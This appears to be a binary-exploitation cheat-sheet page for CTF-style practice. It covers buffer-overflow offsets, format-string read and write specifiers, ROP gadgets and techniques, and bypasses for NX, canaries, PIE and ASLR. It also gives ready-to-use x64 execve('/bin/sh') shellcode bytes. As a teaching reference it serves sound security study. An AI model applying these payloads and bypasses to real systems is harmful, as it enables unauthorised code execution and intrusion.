Buffer Overflow
Format String
ROP Chain
Shellcode
Protection Bypass
Pwntools
Buffer Overflow Basics
Stack layout (high to low): RET | RBP | Local Variables | Buffer
Copy with OS comments
OS badge = run on your machine
Step
Action
1. Find offset
Linux cyclic 200 | ./vuln then
cyclic -l <crash_addr>
2. Control RIP
Overflow = padding + new_RIP
3. Find win func
Linux objdump -d binary | grep win
4. Build payload
Any padding + p64(win_addr)
Offset Calculator
Calculate
ret2win Payload Generator
Generate
Format String Attacks
Specifier
Action
%p
Leak stack pointer
%x
Leak hex value
%s
Leak string at address
%n
Write number of chars printed
%N$p
Leak Nth argument
%N$n
Write to Nth argument
%hhn
Write 1 byte
%hn
Write 2 bytes
Format String Calculator
Calculate %n Writes
Stack Leak Finder
Analyze
ROP Chain Techniques
Technique
Description
ret2libc
Call system("/bin/sh") from libc
ret2win
Jump to existing win function
ret2plt
Call function through PLT
ret2csu
Use __libc_csu_init gadgets
ret2dlresolve
Abuse dynamic linker
Stack pivot
Move RSP to controlled area
Common Gadgets
Gadget
Use
pop rdi; ret
Set 1st argument
pop rsi; pop r15; ret
Set 2nd argument
pop rdx; ret
Set 3rd argument
ret
Stack alignment (16-byte)
leave; ret
Stack pivot
xchg eax, esp; ret
Stack pivot
Any Find gadgets:
ROPgadget --binary ./vuln or ropper -f ./vuln
Copy with OS comments
OS badge = run on your machine
ret2libc Calculator
Calculate Addresses
Linux x64 Shellcode
Type
Hex
Size
execve /bin/sh
48 31 f6 56 48 bf 2f 62 69 6e 2f 2f 73 68 57 54 5f 6a 3b 58 99 0f 05
23 bytes
execve (shorter)
31 c0 48 bb d1 9d 96 91 d0 8c 97 ff 48 f7 db 53 54 5f 99 52 57 54 5e b0 3b 0f 05
27 bytes
Syscall Reference (x64)
Syscall
RAX
RDI
RSI
RDX
read
0
fd
buf
count
write
1
fd
buf
count
open
2
filename
flags
mode
execve
59 (0x3b)
filename
argv
envp
mprotect
10
addr
len
prot
Protection Bypass Techniques
Protection
Bypass
NX (No Execute)
ROP chain, ret2libc, ret2plt
Stack Canary
Leak canary via format string, brute force (fork)
PIE
Leak binary base address, partial overwrite
ASLR
Leak libc address, brute force (32-bit)
Full RELRO
Cannot overwrite GOT, use other techniques
Partial RELRO
GOT overwrite still possible
Canary Detection
Canary characteristics:
- Usually ends with 0x00 (null byte)
- 8 bytes on 64-bit, 4 bytes on 32-bit
- Random on each execution
- Same within process (fork)
Leak methods:
1. Format string: %N$p
2. Array out-of-bounds read
3. Memory disclosure vulnerability
PIE Bypass
With PIE enabled:
- All addresses are randomized
- Need to leak binary base first
- Partial overwrite (1-2 bytes) if offset known
Common leaks:
1. Format string: %N$p to leak return address
2. Array read to leak GOT/PLT
3. Subtract known offset to get base